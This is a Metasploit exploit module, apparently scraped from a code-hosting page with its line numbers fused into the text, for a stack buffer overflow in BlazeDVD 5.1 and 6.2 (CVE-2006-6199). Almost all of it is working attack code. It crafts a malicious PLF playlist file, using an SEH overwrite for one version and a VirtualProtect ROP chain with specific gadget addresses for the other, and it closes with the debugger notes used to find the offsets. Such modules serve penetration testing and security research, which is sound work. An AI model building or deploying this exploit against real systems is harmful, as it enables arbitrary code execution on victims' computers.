Path: blob/master/modules/exploits/windows/fileformat/blazedvd_plf.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow',15'Description' => %q{16This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When17the application is used to open a specially crafted plf file,18a buffer is overwritten allowing for the execution of arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [22'MC', # Developed target 5.123'Deepak Rathore', # ExploitDB PoC24'Spencer McIntyre', # Developed taget 6.225'Ken Smith' # Developed target 6.226],27'References' => [28[ 'CVE', '2006-6199' ],29[ 'EDB', '32737' ],30[ 'OSVDB', '30770' ],31[ 'BID', '35918' ],32],33'DefaultOptions' => {34'EXITFUNC' => 'process',35'AllowWin32SEH' => true36},37'Payload' => {38'Space' => 750,39'BadChars' => "\x00\x0a\x1a",40'DisableNops' => true41},4243'Platform' => 'win',44'Targets' => [45[46'BlazeDVD 6.2',47{48'Payload' =>49{50# Stackpivot => add esp,0xfffff25451'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"52}53}54],55[56'BlazeDVD 5.1',57{58'Ret' => 0x100101e7,59'Payload' =>60{61'EncoderType' => Msf::Encoder::Type::AlphanumUpper62}63}64],65],66'Privileged' => false,67'DisclosureDate' => '2009-08-03',68'DefaultTarget' => 0,69'Notes' => {70'Stability' => [ CRASH_SERVICE_DOWN, ],71'SideEffects' => [ SCREEN_EFFECTS, ],72'Reliability' => UNKNOWN_RELIABILITY,73}74)75)7677register_options(78[79OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),80]81)82end8384def rop_chain85# rop chain generated with mona.py - www.corelan.be86case target.name87when 'BlazeDVD 6.2'88rop_gadgets = [ ]89# 0x6162e802 RETN (ROP NOP) [EPG.dll]90rop_gadgets.fill(0x6162e802, 0..7)91rop_gadgets += [920x61636758, # POP EAX # RETN [EPG.dll]930x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]940x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll]950x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll]960x61628ea2, # POP EBP # RETN [EPG.dll]970x616069a1, # push esp # ret 0x04 [EPG.dll]980x61626702, # POP EAX # RETN [EPG.dll]990xfffffdff, # Value to negate, will become 0x000002011000x61627d9c, # NEG EAX # RETN [EPG.dll]1010x61640124, # XCHG EAX,EBX # RETN [EPG.dll]1020x61629938, # POP EAX # RETN [EPG.dll]1030xffffffc0, # Value to negate, will become 0x000000401040x61627d9c, # NEG EAX # RETN [EPG.dll]1050x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]1060x61612f5a, # POP ECX # RETN [EPG.dll]1070x100142ab, # &Writable location [SkinScrollBar.Dll]1080x616313ac, # POP EDI # RETN [EPG.dll]1090x6162e588, # RETN (ROP NOP) [EPG.dll]1100x6162d638, # POP EAX # RETN [EPG.dll]1110x90909090, # nop1120x61620831, # PUSHAD # RETN [EPG.dll]113]114end115return rop_gadgets.flatten.pack("V*")116end117118def exploit119case target.name120when 'BlazeDVD 5.1'121plf = rand_text_alpha_upper(6024)122plf[868, 8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')123plf[876, 12] = make_nops(12)124plf[888, payload.encoded.length] = payload.encoded125when 'BlazeDVD 6.2'126plf = rand_text_alphanumeric(260)127plf << rop_chain128plf << payload.encoded129end130131print_status("Creating '#{datastore['FILENAME']}' file ...")132file_create(plf)133end134end135136=begin1370:000> !exchain1380012f2c8: 31644230139Invalid exception stack at 644239631400:000> !pattern_offset 6024 0x31644230141[Byakugan] Control of 0x31644230 at offset 872.1420:000> !pattern_offset 6024 0x64423963143[Byakugan] Control of 0x64423963 at offset 868.1440:000> s -b 0x10000000 0x10018000 5e 59 c3145100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<.146100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$1470:000> u 0x100012cd L3148skinscrollbar!SkinSB_ParentWndProc+0x1fd:149100012cd 5e pop esi150100012ce 59 pop ecx151100012cf c3 ret152=end153154155